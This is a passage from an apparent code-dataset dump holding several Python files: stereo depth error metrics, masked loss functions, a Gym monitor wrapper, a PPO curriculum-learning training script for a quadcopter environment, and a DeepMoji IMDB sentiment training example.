vars[0].size()\n\n# a wrapper to compute metrics for each image individually\ndef compute_metric_for_each_image(metric_func):\n def wrapper(D_ests, D_gts, masks, *nargs):\n check_shape_for_metric_computation(D_ests, D_gts, masks)\n bn = D_gts.shape[0] # batch size\n results = [] # a list to store results for each image\n # compute result one by one\n for idx in range(bn):\n # if tensor, then pick idx, else pass the same value\n cur_nargs = [x[idx] if isinstance(x, (Tensor, Variable)) else x for x in nargs]\n if masks[idx].float().mean() / (D_gts[idx] > 0).float().mean() < 0.1:\n # print(\"masks[idx].float().mean() too small, skip\")\n pass\n else:\n ret = metric_func(D_ests[idx], D_gts[idx], masks[idx], *cur_nargs)\n results.append(ret)\n if len(results) == 0:\n print(\"masks[idx].float().mean() too small for all images in this batch, return 0\")\n return torch.tensor(0, dtype=torch.float32, device=D_gts.device)\n else:\n return torch.stack(results).mean()\n return wrapper\n\n@make_nograd_func\n@compute_metric_for_each_image\ndef D1_metric(D_est, D_gt, mask):\n D_est, D_gt = D_est[mask], D_gt[mask]\n E = torch.abs(D_gt - D_est)\n err_mask = (E > 3) & (E / D_gt.abs() > 0.05) # TODO < 1.25\n return torch.mean(err_mask.float())\n\n@make_nograd_func\n@compute_metric_for_each_image\ndef Thres_metric(D_est, D_gt, mask, thres):\n assert isinstance(thres, (int, float))\n D_est, D_gt = D_est[mask], D_gt[mask]\n E = torch.abs(D_gt - D_est)\n err_mask = E > thres\n return torch.mean(err_mask.float())\n\n# NOTE: please do not use this to build up training loss\n@make_nograd_func\n@compute_metric_for_each_image\ndef EPE_metric(D_est, D_gt, mask):\n D_est, D_gt = D_est[mask], D_gt[mask]\n return F.l1_loss(D_est, D_gt, size_average=True)\n\n\n# Error metric for messy-table-dataset\n# TODO: Ignore instances with small mask? (@compute_metric_for_each_image)\n@make_nograd_func\ndef compute_err_metric(disp_gt, depth_gt, disp_pred, focal_length, baseline, mask):\n \"\"\"\n Compute the error metrics for predicted disparity map\n :param disp_gt: GT disparity map, [bs, 1, H, W]\n :param depth_gt: GT depth map, [bs, 1, H, W]\n :param disp_pred: Predicted disparity map, [bs, 1, H, W]\n :param focal_length: Focal length, [bs, 1]\n :param baseline: Baseline of the camera, [bs, 1]\n :param mask: Selected pixel\n :return: Error metrics\n \"\"\"\n epe = F.l1_loss(disp_pred[mask], disp_gt[mask], reduction='mean').item()\n disp_diff = torch.abs(disp_gt[mask] - disp_pred[mask]) # [bs, 1, H, W]\n bad1 = disp_diff[disp_diff > 1].numel() / disp_diff.numel()\n bad2 = disp_diff[disp_diff > 2].numel() / disp_diff.numel()\n\n # get predicted depth map\n depth_pred = focal_length * baseline / disp_pred # in meters\n depth_abs_err = F.l1_loss(depth_pred[mask] * 1000, depth_gt[mask] * 1000, reduction='mean').item()\n depth_diff = torch.abs(depth_gt[mask] - depth_pred[mask]) # [bs, 1, H, W]\n depth_err2 = depth_diff[depth_diff > 2e-3].numel() / depth_diff.numel()\n depth_err4 = depth_diff[depth_diff > 4e-3].numel() / depth_diff.numel()\n depth_err8 = depth_diff[depth_diff > 8e-3].numel() / depth_diff.numel()\n\n err = {}\n err['epe'] = epe\n err['bad1'] = bad1\n err['bad2'] = bad2\n err['depth_abs_err'] = depth_abs_err\n err['depth_err2'] = depth_err2\n err['depth_err4'] = depth_err4\n err['depth_err8'] = depth_err8\n return err\n\n\n# Error metric for messy-table-dataset object error\n@make_nograd_func\ndef compute_obj_err(disp_gt, depth_gt, disp_pred, focal_length, baseline, label, mask, obj_total_num=17):\n \"\"\"\n Compute error for each object instance in the scene\n :param disp_gt: GT disparity map, [bs, 1, H, W]\n :param depth_gt: GT depth map, [bs, 1, H, W]\n :param disp_pred: Predicted disparity map, [bs, 1, H, W]\n :param focal_length: Focal length, [bs, 1]\n :param baseline: Baseline of the camera, [bs, 1]\n :param label: Label of the image [bs, 1, H, W]\n :param obj_total_num: Total number of objects in the dataset\n :return: obj_disp_err, obj_depth_err - List of error of each object\n obj_count - List of each object appear count\n \"\"\"\n disp_diff = torch.abs(disp_gt - disp_pred)\n depth_pred = focal_length * baseline / disp_pred # in meters\n depth_diff = torch.abs(depth_gt - depth_pred)\n\n obj_list = label.unique() # TODO this will cause bug if bs > 1, currently only for testing\n obj_num = obj_list.shape[0]\n\n # Array to store error and count for each object\n total_obj_disp_err = np.zeros(obj_total_num)\n total_obj_depth_err = np.zeros(obj_total_num)\n total_obj_count = np.zeros(obj_total_num)\n\n for i in range(obj_num):\n obj_id = obj_list[i]\n obj_mask = label == obj_id\n obj_disp_err = F.l1_loss(disp_gt[obj_mask], disp_pred[obj_mask], reduction='mean').item()\n obj_depth_err = F.l1_loss(depth_gt[obj_mask] * 1000, depth_pred[obj_mask] * 1000, reduction='mean').item()\n total_obj_disp_err[obj_id] += obj_disp_err\n total_obj_depth_err[obj_id] += obj_depth_err\n total_obj_count[obj_id] += 1\n return total_obj_disp_err, total_obj_depth_err, total_obj_count", "id": "1385917", "language": "Python", "matching_score": 2.0974137783050537, "max_stars_count": 1, "path": "CasStereoNet/utils/metrics.py" }, { "content": "import os\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\n\r\ndef mse_loss(pred, gt, reduction='mean'):\r\n return F.mse_loss(pred, gt, reduction=reduction)\r\n\r\ndef l1_loss(pred, gt, reduction='mean'):\r\n return F.l1_loss(pred, gt, reduction=reduction)\r\n\r\ndef masked_mse_loss(pred, gt, mask, reduction='mean'):\r\n ''' pred, gt, mask should be broadcastable, mask is 0-1 '''\r\n diff = (pred - gt)**2\r\n if reduction == 'mean':\r\n ele_num = torch.sum(mask)\r\n # avoid divide by 0\r\n if ele_num.item() == 0:\r\n ele_num += 1e-8\r\n return torch.sum(mask * diff) / ele_num\r\n else:\r\n return torch.sum(mask * diff)\r\n\r\ndef masked_l1_loss(pred, gt, mask, reduction='mean'):\r\n ''' pred, gt, mask should be broadcastable, mask is 0-1 '''\r\n diff = torch.abs(pred - gt)\r\n if reduction == 'mean':\r\n ele_num = torch.sum(mask)\r\n # avoid divide by 0\r\n if ele_num.item() == 0:\r\n ele_num += 1e-8\r\n return torch.sum(mask * diff) / ele_num\r\n else:\r\n return torch.sum(mask * diff)\r\n\r\ndef rmse_depth(pred, gt):\r\n '''pred, gt: (N,H,W) '''\r\n diff = (pred - gt)**2\r\n rmse_batch = torch.sqrt(torch.mean(diff, [1,2]))\r\n rmse_error = torch.mean(rmse_batch)\r\n return rmse_error\r\n\r\ndef masked_rmse_depth(pred, gt, mask):\r\n '''pred, gt, mask: (N,H,W) '''\r\n diff = (pred - gt)**2\r\n ele_num = torch.sum(mask, [1,2])\r\n rmse_batch = torch.sqrt(torch.sum(diff*mask, [1,2]) / (ele_num+1e-8))\r\n rmse_error = torch.mean(rmse_batch)\r\n return rmse_error", "id": "7842587", "language": "Python", "matching_score": 1.3821477890014648, "max_stars_count": 34, "path": "src/utils/loss_utils.py" } ]
1.85334
GatAcher
[ { "content": "__all__ = ['Monitor', 'get_monitor_files', 'load_results']\n\nimport csv\nimport json\nimport os\nimport time\nfrom glob import glob\nfrom typing import Tuple, Dict, Any, List, Optional\nfrom stable_baselines3.common.vec_env import DummyVecEnv\nimport gym\nimport pandas\nimport numpy as np\nfrom stable_baselines3.common import logger\n\nclass Monitor(gym.Wrapper):\n \"\"\"\n A monitor wrapper for Gym environments, it is used to know the episode reward, length, time and other data.\n :param env: (gym.Env) The environment\n :param filename: (Optional[str]) the location to save a log file, can be None for no log\n :param allow_early_resets: (bool) allows the reset of the environment before it is done\n :param reset_keywords: (Tuple[str, ...]) extra keywords for the reset call,\n if extra parameters are needed at reset\n :param info_keywords: (Tuple[str, ...]) extra information to log, from the information return of env.step()\n \"\"\"\n\n def __init__(self,\n env: gym.Env,\n filename: Optional[str] = None,\n allow_early_resets: bool = True,\n reset_keywords: Tuple[str, ...] = (),\n info_keywords: Tuple[str, ...] = ()):\n super(Monitor, self).__init__(env=env)\n self.t_start = time.time()\n #self.logger_dir = self.logger.get_dir() +'/'+ os.listdir(self.logger.get_dir())[0]\n \n \n self.reset_keywords = reset_keywords\n self.info_keywords = info_keywords\n self.allow_early_resets = allow_early_resets\n self.rewards = None\n self.needs_reset = True\n self.episode_rewards = []\n self.episode_lengths = []\n self.episode_times = []\n self.total_steps = 0\n self.current_reset_info = {} # extra info about the current episode, that was passed in during reset()\n\n def reset(self, **kwargs) -> np.ndarray:\n \"\"\"\n Calls the Gym environment reset. Can only be called if the environment is over, or if allow_early_resets is True\n :param kwargs: Extra keywords saved for the next episode. only if defined by reset_keywords\n :return: (np.ndarray) the first observation of the environment\n \"\"\"\n if not self.allow_early_resets and not self.needs_reset:\n raise RuntimeError(\"Tried to reset an environment before done. If you want to allow early resets, \"\n \"wrap your env with Monitor(env, path, allow_early_resets=True)\")\n self.rewards = []\n self.needs_reset = False\n for key in self.reset_keywords:\n value = kwargs.get(key)\n if value is None:\n raise ValueError('Expected you to pass kwarg {} into reset'.format(key))\n self.current_reset_info[key] = value\n return self.env.reset(**kwargs)\n\n def env_method(self, method_name, *method_args, indices=None, **method_kwargs):\n return DummyVecEnv.env_method(method_name, *method_args, indices=None, **method_kwargs)\n\n\n\n def step(self, action: np.ndarray) -> Tuple[np.ndarray, float, bool, Dict[Any, Any]]:\n \"\"\"\n Step the environment with the given action\n :param action: (np.ndarray) the action\n :return: (Tuple[np.ndarray, float, bool, Dict[Any, Any]]) observation, reward, done, information\n \"\"\"\n if self.needs_reset:\n raise RuntimeError(\"Tried to step environment that needs reset\")\n observation, reward, done, info = self.env.step(action)\n self.rewards.append(reward)\n if done:\n self.needs_reset = True\n ep_rew = sum(self.rewards)\n ep_len = len(self.rewards)\n \n ep_info = {\"r\": round(ep_rew, 6), \"l\": ep_len, \"t\": round(time.time() - self.t_start, 6)}\n for key in self.info_keywords:\n ep_info[key] = info[key]\n self.episode_rewards.append(ep_rew)\n self.episode_lengths.append(ep_len)\n self.episode_times.append(time.time() - self.t_start)\n ep_info.update(self.current_reset_info)\n if len(self.episode_rewards)<10:\n ep_rew_mean = np.mean(self.episode_rewards)\n else :\n ep_rew_mean = np.mean(self.episode_rewards[-10:])\n \n logger.record(\"train/average_reward\", ep_rew_mean)\n\n info['episode'] = ep_info\n self.total_steps += 1\n return observation, reward, done, info\n\n def close(self):\n \"\"\"\n Closes the environment\n \"\"\"\n super(Monitor, self).close()\n\n def get_total_steps(self) -> int:\n \"\"\"\n Returns the total number of timesteps\n :return: (int)\n \"\"\"\n return self.total_steps\n\n def get_episode_rewards(self) -> List[float]:\n \"\"\"\n Returns the rewards of all the episodes\n :return: ([float])\n \"\"\"\n return self.episode_rewards\n\n def get_episode_lengths(self) -> List[int]:\n \"\"\"\n Returns the number of timesteps of all the episodes\n :return: ([int])\n \"\"\"\n return self.episode_lengths\n\n def get_episode_times(self) -> List[float]:\n \"\"\"\n Returns the runtime in seconds of all the episodes\n :return: ([float])\n \"\"\"\n return self.episode_times\n\n\n", "id": "12650469", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "customMonitor.py" }, { "content": "# Train an agent from scratch with PPO2 and save package and learning graphs\n# from OpenGL import GLU\nimport os\nimport glob\nimport time\nimport subprocess\nimport shutil\nimport gym\nimport wandb\nimport random\nimport logging\nfrom collections import defaultdict\nfrom gym_smartquad.envs import quad_env\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport customMonitor\nimport datetime\nimport imageio\nfrom stable_baselines3.ppo import MlpPolicy\nfrom stable_baselines3.common.vec_env import SubprocVecEnv, DummyVecEnv, VecNormalize, sync_envs_normalization\nfrom stable_baselines3.common.callbacks import BaseCallback\nfrom stable_baselines3.common.vec_env import VecFrameStack\nfrom stable_baselines3.common.evaluation import evaluate_policy\nfrom stable_baselines3 import PPO\nfrom stable_baselines3.common.monitor import Monitor\nfrom stable_baselines3.common.results_plotter import load_results, ts2xy\nfrom stable_baselines3.common.cmd_util import make_vec_env\nfrom stable_baselines3.common import logger\nfrom tensorboard.backend.event_processing.event_accumulator import EventAccumulator\nimport json\nclass smartCurriculumCallback(BaseCallback):\n \"\"\"\n A custom callback that derives from ``BaseCallback``.\n\n :param verbose: (int) Verbosity level 0: no output 1: info 2: debug\n \"\"\"\n def __init__(self, envFunct, refreshRate, betaRate, initCurriculum, endDomain, targetDomain, domainPowers, ADRMethod = 'ep_reward_mean',targetReliability=None, targetReward=None, renders = True, verbose=1):\n super(smartCurriculumCallback, self).__init__(verbose)\n self.refreshRate = refreshRate\n self.evalRate = 100000\n self.betaRate = betaRate\n\n self.n_calls = 0\n\n self.oldLoss = None\n self.newLoss = None\n self.oldStep = 0\n self.oldEvalStep = 0\n\n self.meanRew = 0\n self.rewardScale = 700 #TO BE FULLY INTEGRATED\n\n self.envFunct = envFunct\n\n self.curriculum = initCurriculum\n self.initCurriculum = initCurriculum\n self.endDomain = endDomain\n self.progress = 0\n\n self.targetDomain = targetDomain\n self.domainPowers = domainPowers\n\n self.targetReliability = targetReliability\n self.targetReward = targetReward\n\n self.best_min = np.NINF\n self.best_mean = np.NINF\n\n self.ADRMethod = ADRMethod\n self.n_eval_episodes = 15\n self.evaluations_results = []\n self.evaluations_mins = []\n self.evaluations_timesteps = []\n self.gif_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"tmp_gif/\")\n self.models_tmp_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"models_tmp/\")\n self.renders = renders\n # Those variables will be accessible in the callback\n # The RL model\n # self.model = None # type: BaseRLModel\n # An alias for self.model.get_env(), the environment used for training\n # self.training_env = None # type: Union[gym.Env, VecEnv, None]\n # Number of time the callback was called\n # self.n_calls = 0 # type: int\n # self.num_timesteps = 0 # type: int\n # local and global variables\n # self.locals = None # type: Dict[str, Any]\n # self.globals = None # type: Dict[str, Any]\n self.logger_dir = None\n #self.logger_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"logger/\")\n #logger.make_output_format('csv', self.logger_dir, log_suffix = 'progresslog')\n \n\n def _on_training_start(self) :\n \"\"\"\n This method is called before the first rollout starts.\n \"\"\"\n self.logger_dir = self.logger.get_dir() +'/'+ os.listdir(self.logger.get_dir())[0]\n\n def _on_rollout_start(self) :\n \"\"\"\n A rollout is the collection of environment interaction\n using the current policy.\n This event is triggered before collecting new samples.\n \"\"\"\n pass\n\n def _on_step(self) :\n\n #Basic curriculum progression, every self.refreshRate timesteps\n if self.num_timesteps-self.oldStep >= self.refreshRate :\n self.oldStep = self.num_timesteps\n print(self.num_timesteps)\n #Loss based ADR\n if self.ADRMethod == 'loss':\n self.lossMethod()\n \n if self.ADRMethod == 'ep_reward_mean':\n self.rewardMethod()\n\n #evaluation \n if self.num_timesteps - self.oldEvalStep >= self.evalRate :\n self.oldEvalStep = self.num_timesteps\n\n evalEnv = self.envFunct(self.targetDomain)\n #sync_envs_normalization(self.training_env, evalEnv)\n episode_rewards, episode_lengths = evaluate_policy(self.model, evalEnv,\n n_eval_episodes=self.n_eval_episodes,\n return_episode_rewards=True)\n print(episode_rewards)\n self.evaluations_results.append(np.mean(episode_rewards))\n self.evaluations_mins.append(np.min(episode_rewards))\n self.evaluations_timesteps.append(self.num_timesteps)\n\n #remembering the best results : \n if np.mean(episode_rewards) == np.max(self.evaluations_results):\n self.best_mean = np.mean(episode_rewards)\n self.best_min = np.min(episode_rewards)\n #wandb.log({\"best_mean\": self.best_mean, \"best_min\": self.best_min}, step=self.num_timesteps)\n self.model.save(self.models_tmp_dir +\"best_network\"+\".plk\")\n\n\n #TO IMPLEMENT : SAVE THE NETWORK\n\n #External logging\n wandb.log({\"eval_reward\": self.evaluations_results[-1]}, step=self.num_timesteps) \n wandb.log({\"best_mean\": self.best_mean, \"best_min\": self.best_min}, step=self.num_timesteps)\n print('average score in a real environment : '+str(self.evaluations_results[-1]))\n print('minimum score in a real environment : '+str(self.evaluations_mins[-1]))\n self.model.save(self.models_tmp_dir +\"step_\"+str(self.num_timesteps)+\".plk\")\n\n if self.renders :\n self.createGif(evalEnv)\n else :\n evalEnv.close()\n #Not used yet\n if self.targetReliability!=None and self.targetReward!=None:\n goalReached = True\n for i in range(self.n_eval_episodes):\n if episode_rewards < self.targetReward :\n goalReached = False\n \n if goalReached :\n return False \n \n return True\n\n def rewardMethod(self): \n summary_iterators = EventAccumulator(self.logger_dir).Reload() \n tags = summary_iterators.Tags()['scalars']\n out = defaultdict(list)\n for tag in tags:\n #steps = [e.step for e in summary_iterators.Scalars(tag)]\n for events in summary_iterators.Scalars(tag):\n out[tag].append([e for e in events]) \n out = np.array(out['rollout/ep_rew_mean'])\n #print(out) #May help debugging in case anything happens\n try :\n self.meanRew = out[-1,2]\n except : #if there is only one logged element\n try :\n self.meanRew = out[2]\n except : #if nothing is logged yet\n return True\n\n print(self.curriculum)\n for i in range(len(self.curriculum)): \n self.progress = self.meanRew/self.rewardScale\n if self.progress < 0 :\n self.progress = 0\n elif self.progress > 1 :\n self.progress = 1\n\n #For now, the only supported progression goes from the simplest to the most difficult\n \n self.curriculum[i] = self.initCurriculum[i] + (self.endDomain[i]-self.initCurriculum[i])*self.progress**self.domainPowers[i]\n #print(self.progress)\n self.training_env.env_method('refresh',self.curriculum)\n wandb.log({\"domain_progress\": self.progress}, step=self.num_timesteps)\n\n\n def lossMethod(self): \n summary_iterators = EventAccumulator(self.logger_dir).Reload() \n tags = summary_iterators.Tags()['scalars']\n out = defaultdict(list)\n for tag in tags:\n #steps = [e.step for e in summary_iterators.Scalars(tag)]\n for events in summary_iterators.Scalars(tag):\n out[tag].append([e for e in events]) \n out = np.array(out['train/loss'])\n #print(out) #May help debugging in case anything happens\n try :\n meanLoss = out[:,2]\n except : #if there is only one logged element\n try :\n meanLoss = out[2]\n except : #if nothing is logged yet\n return True\n \n try :\n meanLoss = np.mean(meanLoss[-5:]) #may be edited\n except :\n meanLoss = meanLoss[-1]\n \n if self.oldLoss != None :\n self.oldLoss = self.newLoss\n self.newLoss = meanLoss\n \n lossDiff = self.newLoss-self.oldLoss\n #Updating the curriculum\n\n if lossDiff > 0 :\n print(self.curriculum)\n for i in range(len(self.curriculum)): \n progressStep = self.betaRate*lossDiff\n #Clipping progress :\n if progressStep > 0.05 :\n progressStep = 0.05 \n self.progress += progressStep \n\n #For now, the only supported progression goes from the simplest to the most difficult\n if self.progress>1 :\n self.progress=1\n self.curriculum[i] = self.initCurriculum[i] + (self.endDomain[i]-self.initCurriculum[i])*self.progress**self.domainPowers[i]\n #print(self.progress)\n self.training_env.env_method('refresh',self.curriculum)\n wandb.log({\"domain_progress\": self.progress, \"loss_dif\": lossDiff}, step=self.num_timesteps)\n print(self.num_timesteps)\n else : \n self.newLoss = meanLoss\n self.oldLoss = self.newLoss\n\n\n def createGif(self,evalEnv):\n gif_name = \"PPO_\"+str(self.num_timesteps)\n save_str = self.gif_dir + gif_name + '.gif'\n\n\n model = PPO.load(self.models_tmp_dir +\"step_\"+str(self.num_timesteps)+\".plk\", env=evalEnv)\n images = []\n obs = evalEnv.reset()\n img = evalEnv.sim.render(\n width=400, height=400, camera_name=\"isometric_view\")\n for _ in range(600):\n action, _ = model.predict(obs)\n obs, _, _, _ = evalEnv.step(action)\n img = evalEnv.sim.render(\n width=400, height=400, camera_name=\"isometric_view\")\n images.append(np.flipud(img))\n #print(\"creating gif...\")\n imageio.mimsave(save_str, [np.array(img)\n for i, img in enumerate(images) if i % 2 == 0], fps=29)\n print(\"gif created...\")\n evalEnv.close()\n\n def _on_rollout_end(self) :\n \"\"\"\n This event is triggered before updating the policy.\n \"\"\"\n pass\n\n def _on_training_end(self) :\n \"\"\"\n This event is triggered before exiting the `learn()` method.\n \"\"\"\n pass\n\n\nclass PPOtraining():\n def __init__(self, envFunct, trainingSteps, targetDomain, domainPowers, domainProgressRate, learningRate = 0.0003, batchSize = 256, ADRMethod ='loss', autoParameters = False, startDomain=None, endDomain=None, targetReliability=None, targetReward=None, initModelLoc=None, render=False, verbose = 1, tag=\"\") :\n \"\"\"Trains a model using PPO (baselines3, based on PyTorch). \n\n Env : \n Must be imported at the beginning of the file, and declared in the 'updateEnv' method. Please do check out the evaluation section of the Callback class. Currently supports Gym structure.\n WARNING : In order to support smart curriculum learning, the environment must incorporate a 'refresh' method, which updates domains parameters. \n Note that this additionnal method is different from a reset method, but can simply update values that will be used in the 'reset' method (especially true for geometrical parameters).\n As for noise parameters, they can be directly used after being updated, even in the middle of an episode.\n\n\n Args:\n envFunct : function. See the aforementioned 'Env' section.\n trainingSteps : int. Total number of steps for the training. \n autoParameters : bool. False by default. Automatically assess the impact of domain variable on the performance of the neural network, and infers custom progress parameters for the ADR.\n targetDomain : vector (1D) of domain parameters estimated as representative of the real environment. If possible, it is recommended to characterize such values by performing measurements of the sub-systems (sensors/actuators), or environmental parameters.\n These parameters can also be infered from the system requirements. Set to a Null vector to ignore Domain Randomization.\n domainPowers : same dimension as targetDomains. Vector of empirical parameters. Default should be np.ones(targetDomain.shape).\n 1 means that that this parameter will be more or less linearly increased throughout the learning. x<1 means that the parameter will mostly increase in the final phase of the learning. x>1 means that that parameter will mostly increase in the early phase of the learning.\n Base function is parameters = (progress)**domainPowers, with progress belonging in [0,1]. Set to a 0.00001 vector to ignore Curriculum Learning.\n domainProgressRate : float < 1. Describes of fast is the ADR going to progress. Requires a bit of fine-tuning. Set such as the domain_progress reaches 1 toward the end of the training. A uniform parameter sweep is probably the best best way to go.\n KwArgs :\n startDomain : vector (1D) of domain parameters to begin the learning with. None by default, meaning that all of these parameters will be 0.\n endDomain : vector (1D) of domain parameters to end the learning with. By default, equals to None, and is automatically chosen as being equal to targetDomain.\n targetReliability : float in [0,1]. Enables validation to be performed every now and then, and the learning process to be stopped when the model achieves a targetReliability rate of success (achieving targetReward with an environment defined with targetDomain) \n targetReward : float. \n initModelLoc : path to a stable_baselines model. Enables a previously trained model to be improved with domain randomization\n render : bool. Default is 0. Renders Gifs of the target environment every 100000 steps.\n verbose : bool. Default is 1. Display essential learning data in the shell.\n tag : str. fefault is \"\". Puts a label on the best saved network \n \"\"\"\n \n self.step_total = trainingSteps\n self.verbose = verbose\n self.env = None\n self.envFunct = envFunct\n self.n_cpu = 8\n self.modelLoc = initModelLoc\n self.model = None\n\n\n self.batchSize = batchSize\n self.learningRate = learningRate\n\n self.tag = tag\n self.createDirectories()\n\n #Callbacks parameters\n self.refreshRate = 30000\n self.betaRate = domainProgressRate\n self.targetDomain = targetDomain\n self.domainPowers = domainPowers\n if not isinstance(startDomain,np.ndarray) :\n self.curriculum = np.zeros(targetDomain.shape)\n else :\n self.curriculum = startDomain\n if not isinstance(endDomain,np.ndarray) :\n self.endDomain = self.targetDomain\n else :\n self.endDomain = endDomain\n self.renders = render\n self.ADRMethod = ADRMethod \n #External logging\n \n\n self.updateEnv(self.curriculum)\n self.updateModel()\n self.train()\n wandb.join()\n \n\n\n def train(self):\n start = time.time()\n\n #evalEnv = self.envFunct(self.targetDomain)\n \n #self.model.learn(total_timesteps=self.step_total, eval_env = evalEnv, eval_freq = 20000, n_eval_episodes= 15,log_interval=1, tb_log_name=\"PPO\",callback=smartCurriculumCallback(self.refreshRate, self.betaRate, self.curriculum, self.targetDomain, self.domainPowers, targetReliability=None, targetReward=None, renders = False, verbose=1))\n #Using callbacks to perform evaluations instead :\n callbackFunction = smartCurriculumCallback(self.envFunct, self.refreshRate, self.betaRate, \n self.curriculum, self.endDomain, self.targetDomain, \n self.domainPowers, ADRMethod = self.ADRMethod, targetReliability=None, targetReward=None, \n renders = self.renders , verbose=1)\n self.model.learn(total_timesteps=self.step_total,log_interval=1, tb_log_name=\"PPO\",callback=callbackFunction)\n end = time.time()\n training_time = end - start \n timestamp = time.strftime('%b-%d-%Y_%H%M', t)\n src_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"models_tmp/best_network.plk\")\n dst_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"models/best_network\"+self.tag+timestamp+\".plk\")\n shutil.copy(src_dir,dst_dir)\n \n #Performance summary is now handled by the validation log.\n\n \n def updateEnv(self, initCurriculum):\n\n if self.env != None :\n self.env.close()\n \n self.env = self.envFunct(initCurriculum)\n self.env = customMonitor.Monitor(self.env, allow_early_resets=True)\n self.env = DummyVecEnv( [lambda: self.env for i in range(self.n_cpu)] )\n \n\n def updateModel(self):\n if self.modelLoc==None: \n self.model = PPO(MlpPolicy, self.env, tensorboard_log=\"./logger/\",verbose=1, device='cuda',n_steps = 2048, n_epochs=10, batch_size= self.batchSize, learning_rate= self.learningRate)\n self.modelLoc = self.models_dir\n else :\n pass\n\n\n def createDirectories(self):\n self.models_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"models/\")\n \n self.models_tmp_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"models_tmp/\")\n self.log_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"tmp\")\n self.gif_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"tmp_gif/\")\n self.plt_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"plot\")\n self.logger_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"logger/\")\n\n os.makedirs(self.log_dir, exist_ok=True)\n os.makedirs(self.gif_dir, exist_ok=True)\n os.makedirs(self.models_dir, exist_ok=True)\n os.makedirs(self.models_tmp_dir, exist_ok=True)\n os.makedirs(self.plt_dir, exist_ok=True) \n os.makedirs(self.logger_dir, exist_ok=True) \n\nif __name__ == '__main__':\n \n for i in range(5):\n params_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"paramsADR.json\")\n with open(params_path) as json_file:\n params = json.load(json_file)\n tag = params[\"tag\"]\n wandb.init(project=\"Smart_Quad_Friction\", sync_tensorboard=True, allow_val_change=True, reinit=True, tags=[tag])\n wandb.config.progress_rate = params[\"progress_rate\"]\n wandb.config.domain_powers = None\n wandb.config.learningRate = 0.002\n \n wandb.config.batchSize = 1800\n \n training = PPOtraining(quad_env.QuadEnv, 2000000, np.array(params[\"targetDomain\"]), np.array(params[\"domainPowers\"]), wandb.config.progress_rate , learningRate = wandb.config.learningRate, batchSize = wandb.config.batchSize, startDomain= np.array(params[\"startDomain\"]), endDomain = np.array(params[\"endDomain\"]), ADRMethod = 'loss', targetReliability=None, targetReward=None, initModelLoc=None, render = False, verbose = 1, tag = tag)\n \n for i in range(5):\n params_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"paramsDR.json\")\n with open(params_path) as json_file:\n params = json.load(json_file)\n tag = params[\"tag\"]\n wandb.init(project=\"Smart_Quad_Friction\", sync_tensorboard=True, allow_val_change=True, reinit=True, tags=[tag])\n wandb.config.progress_rate = params[\"progress_rate\"]\n wandb.config.domain_powers = None\n wandb.config.learningRate = 0.002\n \n wandb.config.batchSize = 1800\n \n training = PPOtraining(quad_env.QuadEnv, 2000000, np.array(params[\"targetDomain\"]), np.array(params[\"domainPowers\"]), wandb.config.progress_rate , learningRate = wandb.config.learningRate, batchSize = wandb.config.batchSize, startDomain= np.array(params[\"startDomain\"]), endDomain = np.array(params[\"endDomain\"]), ADRMethod = 'loss', targetReliability=None, targetReward=None, initModelLoc=None, render = False, verbose = 1, tag = tag)\n\n for i in range(5):\n params_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), \"paramsNoDR.json\")\n with open(params_path) as json_file:\n params = json.load(json_file)\n tag = params[\"tag\"]\n wandb.init(project=\"Smart_Quad_Friction\", sync_tensorboard=True, allow_val_change=True, reinit=True, tags=[tag])\n wandb.config.progress_rate = params[\"progress_rate\"]\n wandb.config.domain_powers = None\n wandb.config.learningRate = 0.002\n \n wandb.config.batchSize = 1800\n \n training = PPOtraining(quad_env.QuadEnv, 2000000, np.array(params[\"targetDomain\"]), np.array(params[\"domainPowers\"]), wandb.config.progress_rate , learningRate = wandb.config.learningRate, batchSize = wandb.config.batchSize, startDomain= np.array(params[\"startDomain\"]), endDomain = np.array(params[\"endDomain\"]), ADRMethod = 'loss', targetReliability=None, targetReward=None, initModelLoc=None, render = False, verbose = 1, tag = tag)\n\n", "id": "2124553", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "wandb/run-20200819_155906-1j3mktju/code/smartACL_BatchSizeSweep.py" } ]
0
changchuanhong
[ { "content": "\"\"\"Trains the DeepMoji architecture on the IMDB sentiment classification task.\n This is a simple example of using the architecture without the pretrained model.\n The architecture is designed for transfer learning - it should normally\n be used with the pretrained model for optimal performance.\n\"\"\"\nfrom __future__ import print_function\nimport example_helper\nimport numpy as np\nfrom keras.preprocessing import sequence\nfrom keras.datasets import imdb\nfrom model_def import deepmoji_architecture\n\n# Seed for reproducibility\nnp.random.seed(1337)\n\nnb_tokens = 20000\nmaxlen = 80\nbatch_size = 32\n\nprint('Loading data...')\n(X_train, y_train), (X_test, y_test) = imdb.load_data(num_words=nb_tokens)\nprint(len(X_train), 'train sequences')\nprint(len(X_test), 'test sequences')\n\nprint('Pad sequences (samples x time)')\nX_train = sequence.pad_sequences(X_train, maxlen=maxlen)\nX_test = sequence.pad_sequences(X_test, maxlen=maxlen)\nprint('X_train shape:', X_train.shape)\nprint('X_test shape:', X_test.shape)\n\nprint('Build model...')\nmodel = deepmoji_architecture(nb_classes=2, nb_tokens=nb_tokens, maxlen=maxlen)\nmodel.summary()\n\nmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\nprint('Train...')\nmodel.fit(X_train, y_train, batch_size=batch_size, epochs=15,\n validation_data=(X_test, y_test))\nscore, acc = model.evaluate(X_test, y_test, batch_size=batch_size)\nprint('Test score:', score)\nprint('Test accuracy:', acc)\n", "id": "6443626", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "imdb_from_scratch.py" } ]
